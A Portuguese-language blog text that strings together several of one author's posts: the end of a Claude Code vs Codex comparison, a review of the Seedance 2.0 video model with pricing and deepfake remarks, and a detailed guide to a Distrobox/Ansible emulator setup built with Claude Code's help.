Isso não significa que Codex é ruim. Ele é ótimo. Várias vezes quando o Claude Code emperra numa tarefa complicada eu abro o Codex e ele desata na hora. Só que aí eu mudo o jeito de trabalhar: pergunta menor, mais objetiva, uma por vez, espera terminar, parte pra próxima. Funciona, só não é o fluxo que eu prefiro.

Provavelmente o Codex vai equiparar esse lado do harness nos próximos meses, e aí a conversa muda. Mas hoje, 15 de abril de 2026, se eu tenho que escolher um dos dois como ferramenta principal, escolho Claude Code, e a razão é o harness, não porque o LLM da OpenAI seja inferior. Ficou o registro pra quando eu reler isso daqui a seis meses e achar graça.

É por isso que minha empresa se chama Codeminer 42

Pra fechar com uma referência que eu venho carregando há anos: minha empresa se chama Codeminer 42. O 42 não é número aleatório. É referência direta ao Douglas Adams, do Guia do Mochileiro das Galáxias.

Pra quem não conhece a piada, a história é assim. Uma civilização inteira constrói um supercomputador do tamanho de um planeta pra calcular a Resposta pra Vida, o Universo e Tudo Mais. Depois de milhões de anos de processamento, o computador cospe o resultado final: 42. E aí dá aquele silêncio constrangedor, porque ninguém lembrava mais qual era a pergunta original. O 42 é um resultado tecnicamente correto de uma pergunta que ninguém soube formular. Por isso, não significa porcaria nenhuma. Muita gente acha que 42 significa alguma coisa profunda. Não significa. É a resposta errada pra pergunta errada.

Essa é a lição mais precisa sobre engenharia que eu já li em ficção. Toda expectativa que se quebra, quebra porque a pergunta estava errada, não porque a resposta foi mal executada. É pra isso que a Codeminer 42 existe, e é exatamente isso que eu pratico no meu dia a dia, com cliente humano ou com LLM. Antes de entregar o que você me pediu, meu trabalho é te fazer descobrir que o que você acha que quer provavelmente está errado, te forçar a repensar as suposições que você trouxe pra conversa, e só depois que a pergunta estiver afinada eu consigo te devolver o melhor resultado possível. Sem essa etapa, tudo que eu te entregar vai ser um 42.

Então da próxima vez que você ler alguém falando que “cancelou o Claude porque ele não entrega”, ou “o GPT é muito melhor”, ou o inverso, lembra de olhar com carinho pra pergunta que a pessoa estava fazendo. Nove em cada dez vezes, o problema não é o modelo. É a pergunta. E nove em cada dez vezes, a resposta que essa pessoa recebeu foi 42.

A proposta é forte. É um modelo multimodal de geração de vídeo que aceita simultaneamente texto, até 9 imagens de referência, 3 clipes de vídeo de referência e 3 trilhas de áudio numa mesma chamada. Em cima disso, ele gera saída de até 15 segundos com áudio sincronizado nativo (diálogo, efeitos, música ambiente), suporta extensão de vídeo, edição pontual de personagens e objetos, e tem planejamento de câmera dirigido por prompt. A ByteDance posiciona o modelo pra publicidade comercial, vídeos explicativos, produção de filme, e-commerce e gaming. Ou seja: pra criador de conteúdo que quer escapar do estágio “meme aleatório” e começar a entregar peça com uso profissional.

Pra quem quer ver o modelo em ação antes de continuar lendo, recomendo essa visão geral feita pelo Stefan, do canal Stefan 3D AI Lab, que eu já tinha indicado lá no post sobre modelagem 3D com IA:

A interface principal é o “Photo Studio” da Dreamina, onde você escolhe o modo de geração e empilha as referências. Por enquanto eu testei só o modo de multi-referência padrão.

Teste 1: lip-sync com áudio do podcast

Meu primeiro teste foi simples. Peguei alguns segundos do bumper de abertura do meu podcast The M.Akita Chronicles, que é gerado com IA via pipeline ElevenLabs v3, passei o meu novo avatar em estilo anime como imagem de referência, e pedi pro Seedance fazer o personagem sincronizar boca e gesticular em cima daquele áudio.

O resultado é decente. Saiu tudo de uma imagem fixa só. O lip-sync acompanha a fala razoavelmente bem, a expressão tem alguma vida, o gesto da mão entra no momento certo. Mas é o tipo de coisa que rende clipinho curto pro YouTube ou Instagram. Não é animação que você usaria como abertura de um vídeo profissional.

A função que de fato importa: vídeo de referência

E aqui eu chego no que eu considero o único uso de verdade desses modelos pra trabalho sério: usar vídeo como referência. Texto sozinho nunca vai ser preciso o suficiente. Você pode descrever a cena com o vocabulário que quiser, mudar adjetivo, especificar lente, ângulo, framing, e ainda assim cada geração vai te dar algo um pouco diferente. É loteria. Bom pra meme, péssimo pra produção.

A maioria dos amadores se impressiona com qualquer clipe aleatório que sai bonito de primeira, e enche o feed do X e do Instagram com isso. Só que aquilo não é controle. É sorte. Pra cinema, pra publicidade, pra abertura de programa, pra qualquer coisa onde a próxima cena precisa casar com a anterior, você tem que conseguir dizer pro modelo: “faça exatamente esse movimento, com exatamente essa câmera”. E é aí que o vídeo de referência muda o jogo, porque ele substitui horas de modelagem 3D, rigging, animação e renderização que custariam fortunas em estúdio.

Pro meu teste, eu reciclei o modelo que já tinha gerado lá no post sobre AI 3D com Hunyuan e Nano Banana, onde testei o quanto dá pra modelar 3D do nada com prompt e ainda imprimir em 3D. Mas pra uma referência mais cinematográfica eu queria algo com animação pronta. Baixei do Sketchfab o modelo Darth Talon, que tem uma sequência curta de movimento bem feita, só porque achei legal.

Importei o FBX no Blender, montei câmera e luz básica, e fiz uma renderização rápida no Cycles. Nada bonito, é só um esboço pra servir de referência de movimento e enquadramento.

Subi pro Seedance esse render como vídeo de referência junto com três imagens em t-pose do personagem (frente, costas, lado esquerdo) pra dar consistência visual:

Primeira tentativa, com prompt genérico:

Não ficou ruim. O personagem mantém identidade, a iluminação melhorou bastante em cima do meu render bruto, e o vídeo é coerente. Só que o movimento e a posição de câmera divergiram bastante da referência. O modelo entendeu “ali tem um personagem parecido com esse fazendo algo parecido com aquilo”, e improvisou o resto.

Lembrei do tutorial do Stefan: o truque é colocar literalmente no prompt algo como Follow exact motion and camera from reference video. Tentei de novo:

Bem melhor. Está claramente seguindo a coreografia da referência, o ângulo de câmera bate em vários momentos, e a aparência do personagem ficou mais polida que tudo que eu poderia renderizar à mão num esboço de Cycles. Mas ainda assim não é cópia exata do meu render. Em alguns frames o modelo ainda toma liberdade com timing, posição e enquadramento. Existem outras técnicas de prompting e parâmetros pra ajustar, mas eu parei aqui pra registrar essas primeiras impressões enquanto o lançamento está fresco.

ComfyUI, Runway e o resto do ecossistema

O Seedance 2.0 também já saiu como nó do ComfyUI na nuvem, o que ajuda muito quem quer encaixar a geração dentro de pipeline maior sem ficar pulando entre interface web. Pra quem já tem pipeline de geração de imagem montado em ComfyUI, isso é bem prático.

E pra quem quer um caminho com volume sem pensar em crédito por geração, a Runway está oferecendo o Seedance 2.0 dentro do plano Unlimited, que sai por volta de US$ 76/mês no anual ou US$ 95/mês no mensal. “Unlimited” no caso significa sem cobrança por geração, mas com prioridade de fila menor em horários de pico e cota de armazenamento de saída. Pra quem precisa iterar muito, esse modelo de assinatura faz bem mais sentido que crédito avulso.

A questão do preço

A precificação direta do Seedance é em crédito. O plano Standard sai por US$ 24,90/mês no anual ou US$ 49,90/mês no mensal, e te dá 2500 créditos por mês. Cada 10 segundos de vídeo gerado consome 6 créditos.

A conta é cruel. Com 2500 créditos no Standard, dá pra rodar cerca de 416 gerações de 10 segundos por mês. Parece muito, mas lembra do meu próprio teste: foram pelo menos duas tentativas pra chegar perto do que eu queria, e mesmo assim não foi cópia exata do que pedi. Na prática, pra cada cena que você quer entregar bem, é razoável assumir 3 a 5 regerações. Isso derruba o número útil pra algo na faixa de 80 a 140 cenas curtas por mês. Pode até dar pra um criador solo fazendo conteúdo curto. Não dá pra produção que precisa de minutos contínuos de vídeo polido.

Os planos superiores escalam linearmente o número de créditos, mas o problema continua: no preço de hoje, o Seedance 2.0 ainda é ferramenta pra clipe curto e meme bem-feito, ou pra prototipagem de cena antes de mandar pra estúdio de verdade. Não substitui produção profissional contínua. Pra esse perfil, na prática a Runway com Unlimited sai mais em conta. Confira a tabela de preços completa aqui.

O que ninguém quer falar: restrição e deepfake

Tem dois pontos que eu não quero deixar de fora. O primeiro: o Seedance 2.0 demorou a chegar pro grande público em parte porque a ByteDance está sendo bem mais conservadora que a concorrência na hora de moderar. O modelo bloqueia geração com referência de pessoas reais (celebridades, políticos, figuras públicas) e filtra personagens com IP forte de Disney, Marvel/DC, Nintendo e marcas registradas em geral. Quem quiser detalhe sobre o que passa e o que não passa, e por que a empresa optou por essa postura, tem esse artigo da MindStudio explicando os limites. Faz sentido: a ByteDance opera em dezenas de jurisdições, está sob escrutínio regulatório global, e ainda tem o tema espinhoso de Hollywood pressionando o setor inteiro com ações de copyright sobre uso de material protegido em treinamento e geração. O lançamento atrasou e veio com filtro pesado justamente por isso.

Segundo ponto, e mais importante: pra você, leitor comum, a mensagem é que deepfake deixou de ser hipótese. Foto na internet já não vale como prova há um bom tempo, porque modelos de imagem como Nano Banana, Hunyuan e congêneres entregam realismo que engana qualquer um. Agora vídeo está na mesma categoria. O que a gente acabou de ver acima, onde com algumas referências e dois prompts dá pra gerar uma cena animada coerente em minutos, é só o começo. A pessoa comum, sem treino, não vai mais conseguir distinguir vídeo gerado de vídeo real só batendo o olho. E os filtros do Seedance só barram o uso aberto e legal. Quem quer fazer mau uso vai sempre encontrar caminho com modelo open source, com workaround, com plataforma menos rígida. Esse é o mundo real agora, e quanto antes a gente assumir isso socialmente, melhor.

Não, isso não substitui artista de verdade

Já vou cortar o discurso de sempre antes que ele apareça nos comentários. Não, o Seedance não substitui artista de VFX, diretor, editor, nada disso. Isso aqui é martelo. A ferramenta é a mesma pra todo mundo. O que sai do outro lado depende inteiramente de quem está segurando ela.

Quem estudou enquadramento, ritmo, continuidade, direção de arte, edição, cor, composição, vai usar o Seedance pra acelerar 10 vezes o trabalho que já sabia entregar. Quem não estudou nada disso vai produzir 10 vezes mais rápido o mesmo meme de Instagram que já produzia. A IA reflete quem você é. Se você é bom artista, a ferramenta multiplica. Se você só acha que é bom, a ferramenta multiplica a mesmice. Não tem milagre.

E é por isso que essa onda de “agora todo mundo vira diretor de cinema com IA” é a mesma ladainha que ouvimos com câmera digital, com Photoshop, com After Effects, com Premiere e com qualquer ferramenta poderosa que apareceu nos últimos 30 anos. A barreira técnica cai, a barreira de gosto, repertório e estudo continua exatamente onde estava. Quem é bom fica mais produtivo. Quem não é continua precisando de gente de verdade pra fazer trabalho de verdade.

Onde isso vai parar

Seedance 2.0 é claramente um passo na direção certa, mas ainda não é a ferramenta que substitui produção profissional. Texto sozinho continua impreciso, vídeo de referência ajuda mas ainda escapa, e o preço por minuto útil de saída polida é alto pro que entrega. A boa notícia é que a história se repete: Google já tem o Veo, Runway está com modelo próprio e ainda revendendo Seedance, Kling e Hailuo da China continuam puxando, e os modelos open source vão ganhando tração. A OpenAI tinha o Sora, mas descontinuou. Conforme a competição aperta, qualidade sobe e preço cai. Em um ou dois anos a gente deve estar olhando pra esse post e achando primitivo o que acabei de mostrar. Como sempre.

No meu canal eu inclusive usei jogos antigos pra ensinar fundamentos de computação. No Akitando sobre Super Mario e computadores antigos eu explico 6502, mapa de memória, PPU, limitações de hardware e por que aqueles jogos eram programados daquele jeito. Se você nunca viu, recomendo assistir:

O problema é o de sempre: a cada poucos anos eu resolvo montar uma máquina nova de emulação, baixo de novo os emuladores principais da vez, e lá vou eu repetir o mesmo ritual masoquista. PCSX2, RPCS3, Eden, Azahar, Dolphin, RetroArch, Flycast, shadPS4 e por aí vai. Cada um com suas manias. Cada um com sua forma particular de te fazer perder horas.

Em teoria, montar tudo isso deveria ser divertido. Na prática, leva dias. E não é exagero. Dolphin ainda consegue ser um dos piores porque controle de GameCube e Wii não tem nada de padrão. RPCS3 exige tuning por jogo. Eden precisa de DLC, update e cheats no lugar certo. shadPS4 é um festival de tentativa e erro. Quando eu finalmente terminava de configurar tudo, eu já não queria mais jogar porcaria nenhuma. Eu só queria fechar os menus e ir fazer outra coisa.

Eu já cheguei a dizer que talvez a graça estivesse justamente no tuning. Não acho mais isso. Depois de repetir esse processo vezes demais, eu cansei. Eu quero jogar os jogos, não preencher formulário escondido em GUI de emulador.

O problema não era Linux

Eu já resolvi esse tipo de coisa de várias formas no passado. Anos atrás eu rodava Linux no host e um Windows virtualizado com GPU passthrough pra jogar dentro da VM. Na época era o que fazia sentido. Eu fiz um vídeo inteiro sobre isso:

Mas isso foi antes do trabalho monumental da Valve, do Proton, do Wine moderno e de toda a comunidade open source que empurrou o desktop Linux pra um lugar muito melhor. Hoje dá pra evitar Windows na maior parte dos casos. No outro vídeo abaixo eu explico a evolução de CPU, GPU, OpenGL, Vulkan e por que chegamos nesse ponto:

Meu mini-PC dedicado a games com RTX 4090 continua sendo minha principal máquina de Steam, especialmente agora que montei um cockpit decente de sim racing. Nele eu uso EmuDeck, que nasceu justamente pra automatizar instalação e configuração de emuladores no Steam Deck, depois passou a suportar Windows também, e ajuda bastante a reduzir a complicação de montar esse tipo de ambiente. Mas meu desktop principal também é forte demais pra ficar subutilizado. Ele tem uma RTX 5090, e hoje eu uso essa GPU principalmente pra testar LLMs e benchmarking, como contei em Testando LLMs Open Source e Comerciais. Seria um desperdício não usar isso pra gaming também.

Só que no Linux eu queria outra coisa. Eu não queria uma caixa-preta fazendo tudo por mim sem eu saber exatamente o que estava sendo alterado, principalmente no meu PC principal, que é minha máquina de trabalho. Eu queria um setup meu, feito “na mão” no sentido certo da expressão: não clicar GUI por GUI, mas entender o que está sendo configurado, manter os arquivos sob meu controle, e conseguir reconstruir tudo do jeito que eu gosto. Eu sei que o pessoal do NixOS vai pular aqui pra dizer “é só usar Nix” — explico mais abaixo por que descartei essa rota. Também não queria transformar a minha máquina de trabalho num carnaval de pacote de emulador, tema GTK, wrapper, launcher, runtime esquisito e config enterrada em ~/.config. Nem queria dual boot ou VM. Em 2026, a melhor resposta pra isso, na minha opinião, é Distrobox.

Pelo que o próprio projeto explica, Distrobox é um wrapper em cima de podman, docker ou lilipod pra criar containers fortemente integrados ao host, com acesso a HOME, Wayland/X11, áudio, dispositivos USB, storage externo e GPU. Ou seja: exatamente o tipo de isolamento pragmático que eu queria. Não é uma fronteira de segurança, e o próprio site deixa isso claro. Não use pensando em sandbox de alta segurança. Use pensando em separar ambientes sem ficar pagando o preço de uma VM.

E antes que alguém repita a confusão de sempre: container não é máquina virtual. Eu explico isso com calma neste outro episódio:

O setup

A ideia é simples: um Arch Linux vanilla dentro de um Distrobox chamado gaming, com os caminhos do NAS montados em read-only, a biblioteca Steam acessível onde faz sentido, e todos os emuladores instalados lá dentro. Como o container tem acesso a GPU NVIDIA, áudio, USB e demais periféricos, eu separo trabalho de jogo na mesma máquina sem penalidade prática de performance.

O bootstrap inicial é mais ou menos isso:

distrobox create --name gaming --image archlinux:latest --nvidia \
  --home /mnt/data/distrobox/gaming \
  --volume /mnt/data/steam:/mnt/data/steam \
  --volume /mnt/terachad/Emulators:/mnt/terachad/Emulators:ro

Só esse começo já tem pegadinha. O archlinux:latest dentro de Distrobox vem sem [multilib] no pacman.conf, com um sudoers mal configurado, e com o velho problema do --nvidia: as libs do driver do host entram bind-mounted read-only, então qualquer instalação que dependa de nvidia-utils quebra com conflito de arquivo. Só isso já é o tipo de dor de cabeça que, alguns anos atrás, me faria abrir meia dúzia de abas, mais uma penca de terminais, e gastar uma noite inteira em tentativa e erro.

Desta vez eu fiz diferente.

Claude Code como assistente de infraestrutura

Eu venho ficando cada vez mais confortável em usar Claude Code como meu assistente de infraestrutura nas minhas máquinas pessoais. Eu não faria isso cegamente em servidor de cliente. Mas em máquina minha, em ambiente que eu posso destruir e reconstruir quantas vezes eu quiser, faz todo sentido. Escrevi sobre isso no artigo Migrando meu Home Server com Claude Code, quando usei Claude pra instalar e configurar openSUSE MicroOS, Docker, NFS, firewall, hardening e o resto todo sem eu precisar ficar lembrando comando chato de shell.

Então pensei: por que não fazer a mesma coisa aqui?

Foi exatamente o que eu fiz. Comecei com prompts bem objetivos, sempre pedindo duas coisas ao mesmo tempo: fazer o trabalho e documentar o suficiente pra eu poder reconstruir tudo depois. O histórico mais importante ficou em docs/distrobox-gaming-prompts.md.

Vale um esclarecimento: aqueles prompts no GitHub não são as minhas mensagens cruas, do jeito que saíram na hora. Depois que tudo funcionou, eu pedi pro próprio Claude reescrever os prompts de forma organizada e detalhada, só pra fins de documentação. Os prompts originais eram bem mais simples e bem menos específicos. Eu descrevia o objetivo e deixava o Claude descobrir sozinho paths, arquivos de configuração, formatos e comandos necessários.

O primeiro prompt criou a box com --nvidia, --home separado e os mounts corretos. O segundo resolveu os três problemas clássicos do Arch dentro de Distrobox: sudo, multilib e o dummy package de nvidia-utils. O terceiro instalou a base de gaming, inclusive um detalhe que eu teria esquecido fácil se estivesse fazendo na mão: pipewire-pulse, necessário pra vários emuladores não ficarem mudos nem perderem sincronia.

O ponto não é o texto em si. O ponto é o método. Eu não preciso lembrar a ordem exata, nem as opções precisas, nem onde está a documentação de cada detalhe. Eu descrevo o objetivo e deixo o agente carregar o piano. Fico no papel de tech lead: observando, revisando, corrigindo direção quando precisa, e mandando continuar.

O projeto no GitHub

O setup vive em akitaonrails/distrobox-gaming, estruturado como um projeto Ansible. 17 roles cobrem desde criação da box, bootstrap de pacotes, seed de configs, instalação de DLC, configuração de controle, até verificação pós-setup. Os playbooks principais são:

• site.yml: setup completo do zero
• reset-configs.yml: reset só das configs (útil quando você quer zerar tuning e redeployar)
• backup.yml / restore.yml: snapshot e restauração do container inteiro via podman commit
• refresh-shadps4.yml: atualização standalone do shadPS4
• install-xenia.yml: instalação opcional do Xenia Manager (Wine prefix)

O passo a passo completo está em docs/rebuild-runbook.md. As decisões de pacote (por que AUR em vez de Flatpak, por exemplo) estão em docs/distrobox-gaming-packages.md.

Por que não Nix?

Alguém vai perguntar. “Você tá recriando ambiente reproduzível. Por que não usar NixOS, ou pelo menos nix-shell/flakes?”

Eu considerei e descartei. O ecossistema de emuladores que eu preciso vive no AUR. Pacotes -bin do AUR são wrappers de AppImage que empacotam o binário oficial do upstream sem compilar nada. rpcs3-bin, pcsx2-latest-bin, eden-bin, duckstation-qt-bin, shadps4-bin — esses binários acompanham o upstream praticamente no dia do lançamento. No Nixpkgs, muitos desses emuladores ficam semanas ou meses atrás do release, e alguns nem existem. Criar um overlay Nix pra cada emulador que eu preciso, manter, e lidar com os patches de compatibilidade quando upstream muda, é trabalho que eu não quero ter.

Tem também o modelo mental. Eu não quero aprender a linguagem Nix, o sistema de derivações e o modelo de avaliação pra montar um ambiente de games pessoal. Ansible eu já conheço, as roles são pastas com tasks em YAML, e o debug é ansible-playbook -vvv. Quando dá errado, eu leio a mensagem de erro, abro o task que falhou, e sei exatamente onde mexer. Se eu precisasse do mesmo nível de reprodutibilidade em escala, num cluster, com rollback atômico, aí sim Nix teria argumento. Pra um distrobox com emuladores na minha máquina pessoal, Ansible resolve com muito menos atrito.

Flatpak também foi testado e descartado. O bwrap (bubblewrap) do Flatpak não aninha direito dentro das mount namespaces do Docker, então apps Flatpak simplesmente não rodam dentro de distrobox. A alternativa seria instalar Flatpak no host, mas aí você volta ao problema de poluir a máquina de trabalho com pacotes de gaming. Além disso, as versões Flatpak de emuladores ficam bem atrás do AUR — o pcsx2-latest-bin do AUR tracka o AppImage 2.7.x, enquanto o Flathub ainda distribui a v2.6.3.

Plataformas cobertas

O setup cobre 12 plataformas hoje:

RetroArch entra por cima pra cobrir o resto (NES, SNES, Genesis, N64, arcade, etc.), com 21 cores do buildbot e 8 asset packs (databases, shaders, cheats, overlays, autoconfig).

Frontend é ES-DE. As definições dos sistemas customizados ficam em ansible/group_vars/all/esde.yml e cada emulador entra com um wrapper que já sobe com as variáveis certas de GPU (voltarei nisso).

GPU hardforce pra NVIDIA

Num sistema híbrido com NVIDIA dGPU + AMD iGPU (meu caso no desktop), Vulkan às vezes escolhe o iGPU sozinho e o resultado é emulador rodando a 15 fps enquanto a 5090 fica parada. A solução é forçar o ICD Vulkan da NVIDIA em todos os launchers.

Cada entrada de desktop rendereizada pelo Ansible exporta VK_ICD_FILENAMES apontando pro ICD da NVIDIA, e o wrapper do ES-DE faz a mesma coisa antes de lançar qualquer core. Em combinação com a flag --nvidia na criação da box, que bind-monta os drivers do host em read-only, o resultado é previsível: Vulkan sempre na dGPU NVIDIA, independente do estado do sistema na hora.

Isso vale principalmente pra quem tem setup híbrido. Num desktop com só uma GPU, o ICD filtering é placebo, mas também não atrapalha.

PS2: PCSX2 com tuning por jogo

A linha Gran Turismo é meu vício declarado. Cada versão precisa de tweak específico. O setup do PCSX2 hoje tem configs globais razoáveis (Vulkan, 4x SSAA, widescreen 16:9, Xbox-style bindings, FXAA + PCRTC antiblur, 16x anisotropic, deinterlace Automatic) e per-game INIs pros títulos que eu realmente jogo:

• Gran Turismo 3 A-spec (SCUS-97102 + bundle PBPX-95503): widescreen pnach, pack de retextura opcional (desabilitado por default porque NFS causa flicker em cutscenes de showcase de carro)
• Gran Turismo 4 USA (SCUS-97328): HD HUD do Silentwarior112, pack completo de retextura, patches do Silent pra gatilho e câmera, widescreen pnach
• Gran Turismo 4 Spec II (SCUS-97436, CRC 4CE521F2): caso especial — os HD packs de GT4 vanilla são linkados via symlink porque o Spec II tem mesma estrutura mas CRC diferente. Widescreen pnach renomeado pra bater com o CRC. Deinterlace mode 8 (Adaptive TFF), ShadeBoost tuning (+10 saturação, +3 brilho, +2 contraste) pra corrigir ghosting de pause-interlace e saturação anêmica do upscale
• Enthusia Professional Racing (SLUS-20967): HD textures + widescreen
• Ridge Racer V (SLUS-20002): widescreen + no-interlace pnach

Os pnach files do Silent e da comunidade são baixados automaticamente pelo role pcsx2_textures, que também faz o deploy do pack de cheats do NAS e instala os HD packs do Spec II via symlink. Widescreen é ligado via gamesettings por CRC (PCSX2 identifica jogo por CRC antes de aplicar o pnach).

Sobre versão do PCSX2: o pcsx2-latest-bin do AUR tracka a linha 2.7.x, que é onde todas as features modernas estão (texture replacement, FXAA, PCRTC antiblur). O pcsx2 padrão dos repos oficiais do Arch ainda está na 2.6.3. A diferença é mais de 250 commits de correção e feature novo.

PS3: RPCS3 com per-game configs curados

RPCS3 tem um detalhe chato: configs por jogo ficam em ~/.config/rpcs3/custom_configs/config_<SERIAL>.yml. O formato do arquivo tem versão, e se você gerar um YAML manualmente com versão errada, o RPCS3 rejeita silenciosamente e volta pro default. Isso custou tempo pra descobrir.

A role rpcs3_per_game_configs resolve isso assim:

1. Query o compatibility DB da comunidade RPCS3 pra pegar os presets recomendados por título
2. Aplica overrides curados por cima pra títulos que eu sei que precisam de ajuste específico (tipicamente GT5 e GT6)
3. Salva o YAML com a filename convention exata (config_<SERIAL>.yml, prefixo config_ obrigatório)

Na linha Gran Turismo:

• GT5 (BCUS98114, BCES00569): Resolution Scale 300%, Shader Precision Ultra, Force High Precision Z, SPU XFloat Accurate, Multithreaded RSX. Combinação que mata o dithering típico do RSX sem quebrar a GT series safety config (WCB/RCB off).
• GT6 (BCES01893 + variantes regionais): caso especial, versão travada em v1.05. Patches 1.06+ regridem com superfícies pretas em carros no menu garagem. O script extract_ps3_dlc.py tem per-title PATCH ceiling justamente pra pinar o GT6 no 1.05 mesmo quando o PSN cuspe patches mais novos. Além disso, Force CPU Blit ligado é mandatório (sem ele, flicker de tela inteira). O trade-off é que o retrovisor fica permanentemente preto — ligar WCB restauraria o retrovisor mas downgradaria pra 720p nativo. Prefiro perder o retrovisor.

Mais detalhes desses dois em docs/gt5-rpcs3.md e docs/gt6-rpcs3.md.

Update checker de PS3

Pra não ter que abrir a GUI do RPCS3 e ficar clicando em Download Game Updates jogo por jogo, criei um script em Python: check_ps3_updates.py. Ele percorre os jogos instalados em dev_hdd0/game, parseia o PARAM.SFO pra pegar a versão atual de cada título, consulta o servidor de updates da PSN (a0.ww.np.dl.playstation.net) e compara com o cache local de patches. --list mostra o diff; --download baixa o que falta. --max-version respeita os teto por título (ex: 1.05 pro GT6).

O primeiro scan na minha biblioteca achou 51 de 72 jogos com update disponível, 69 patches faltando localmente, uns 24 GB no total. Só o GT6 sozinho tinha 16 patches faltando, da 1.07 até 1.22, que eu descartei pelos motivos acima.

Os patches chegam como pacotes PSN tipo 0x0001 sem criptografia, então o próprio extract_ps3_dlc.py consegue instalar depois. A chamada padrão:

distrobox enter gaming -- python3 scripts/extract_ps3_dlc.py \
  "/mnt/terachad/Emulators/EmuDeck/roms_heavy/ps3-DLC" \
  --dest "/mnt/data/distrobox/gaming/.config/rpcs3/dev_hdd0/game"

Acompanhar versão de DLC de PS3 manualmente, jogo por jogo no RPCS3, é inviável. Vira lista de tarefas eterna e você só descobre que tinha patch 1.22 quando o jogo crasha.

PS1: DuckStation com per-game

A trilogia Gran Turismo começa no PS1, e a qualidade ali só sobe se você ligar as coisas certas:

• Gran Turismo (SCUS-94949): built-in WidescreenHack do DuckStation (não existe cheat pra esse jogo), PGXP ligado
• Gran Turismo 2 Simulation (SCUS-94455): widescreen cheat + 8 MB RAM cheat (fix de áudio em track crowded), filter JINC2
• Gran Turismo 2 Arcade (SCUS-94488): mesmo tratamento do Simulation

Global defaults: Vulkan, 8x upscale, JINC2 como filter default.

Os cheats pro GT2 saem de um repositório de widescreen fixes e são ligados automaticamente na pasta de cheats do DuckStation.

Switch: Eden com DLC, update e cheats

No Switch, eden-bin é o emulador. A integração automatiza três coisas que antes eu fazia na mão:

1. Install de DLC e update: o role install_dlcs aponta pro diretório de dumps no NAS, identifica os arquivos .nsp/.nsz/.xci/.xcz, e instala tudo em ~/.local/share/eden/nand/user/Contents/registered/. Se o dump está bagunçado (patches e DLC misturados em flat folder), o script reorganize_switch_nsps.py sorteia tudo por Title ID antes.

2. Cheats Atmosphere: os cheats em formato Atmosphere vão symlinkados pro load path do Eden (~/.local/share/eden/load/<TITLE_ID>/cheats/). O role switch_cheats faz isso por todos os títulos cobertos pelo pack do NAS.

3. Update checker: check_switch_updates.py lista títulos com update disponível vs o que tá instalado localmente. Útil pra não perder patch importante de jogo que sai atualização ainda.

Atenção ao detalhe que me queimou: QT_STYLE_OVERRIDE precisa ser desarmado antes de lançar o eden-bin, senão ele conflita com Kvantum e quebra a UI. O wrapper já faz o unset antes do exec.

Xbox 360: Xenia Manager via Wine

Xbox 360 ainda é território áspero no Linux. Não tem emulador nativo decente. A melhor rota hoje é Xenia rodando via Wine, gerenciado pelo Xenia Manager.

Isso é opt-in no meu setup. O playbook install-xenia.yml cria um Wine prefix dedicado, baixa o Xenia Manager, e registra os launchers. Não faz parte do site.yml principal porque nem todo mundo quer Wine no meio do caminho.

Project Forza Plus (Forza Motorsport 2/3/4)

Forza antigo ainda é o rei do simcade de geração passada. Rodar FM2/3/4 no Xenia requer mods da comunidade Project Forza Plus: patches de compatibilidade, mods de performance, instalação de title updates específicos. Documentei o processo em docs/project-forza.md.

Project Gotham Racing 3 e 4

PGR3 roda razoavelmente bem no Xenia Canary. PGR4 precisa de ajuste específico: render_target_path_vulkan = "fsi" no config, senão algumas races quebram com artefato visual. Documentei o setup em docs/xbox360-pgr.md. Áudio do PGR4 no NVIDIA ainda tem problema de XMA decoding que gera garbage intermitente. Tem issue aberta no xenia-canary, sem resolução up até agora.

Title Updates em batch

Title Update pra jogo de Xbox 360 era distribuído pela Xbox Live, que já foi desligada. A alternativa é o archive.org, que tem o catálogo completo preservado. Escrevi scripts/download-xbox360-tus.py pra automatizar:

distrobox enter gaming -- python3 scripts/download-xbox360-tus.py \
  --src /mnt/terachad/Emulators/EmuDeck/roms_heavy/xbox360 \
  --dest /mnt/terachad/Emulators/EmuDeck/roms_heavy/xbox360-updates \
  --dry-run

O script precisa do CLI internetarchive autenticado (ia configure uma vez, guarda o token). Ele scaneia a pasta de jogos, faz match contra o manifest do archive.org (cacheado localmente), prioriza por região (USA > World > Europe > Japan), e baixa via ia download --checksum com retry automático. Os .zip resultantes vão pro Xenia Manager via Manage → Install Content, que extrai pro diretório correto (000B0000/).

O setup completo tá em docs/xbox360-title-updates.md.

Steam no distrobox

Desde que o Proton virou cidadão de primeira no Linux, faz sentido ter Steam também no gaming box. Adicionei o pacote steam no Ansible (que puxa multilib e dependências 32-bit), montei /mnt/data/steam em read-write pra a biblioteca persistir fora do container, e criei launcher no host.

Na prática, isso me permite rodar jogos Steam via Proton lado a lado com emulação, sem precisar alternar ambiente. O mini-PC com RTX 4090 continua sendo a máquina principal de Steam no cockpit de sim racing. O desktop é fallback e ambiente de teste.

Shell e controle por controle

Shell mínimo dentro da box

Quando eu entro no gaming box via distrobox enter gaming, eu quero prompt decente mesmo pra troubleshooting rápido. Instalei zsh + starship com config mínima, zero plugins exóticos. Não é meu setup de dev full, é só “prompt que mostra path e git branch sem me dar vergonha”.

Dolphin e o inferno do controle moderno

Dolphin sempre foi o rei do atrito manual. Se você usa um controle mais moderno, como meu 8BitDo Ultimate 2, precisa lembrar como eu gosto do mapeamento de GameCube, como adapto o Wii Remote, quando usar perfil de Nunchuk, quando trocar pro Classic Controller. Eu não tenho a menor paciência pra reconstruir isso na mão toda vez. Os perfis ficam prontos em config/emulator-overrides/dolphin/Profiles/ e são copiados pelo role seed_configs. Detalhes em docs/controller-hotkeys.md.

Alguns tropeços que sobraram

Nem tudo virou magia. Emulação sempre tem casca de banana.

Flycast, por exemplo, tem uma armadilha irritante. O arquivo emu.cfg usa chaves rend.* dentro da seção [config]. Se você cria uma seção [rend] separada, parece certo, mas o emulador simplesmente ignora e depois reescreve tudo com default medíocre. A correção virou wrapper dedicado em $DG_BOX_HOME/bin/flycast-hires:

$DG_BOX_HOME/bin/flycast-hires \
  -config config:pvr.rend=4 \
  -config config:rend.Resolution=2880 \
  -config config:rend.EmulateFramebuffer=no \
  -config config:rend.WideScreen=yes

Detalhes em docs/flycast-resolution.md.

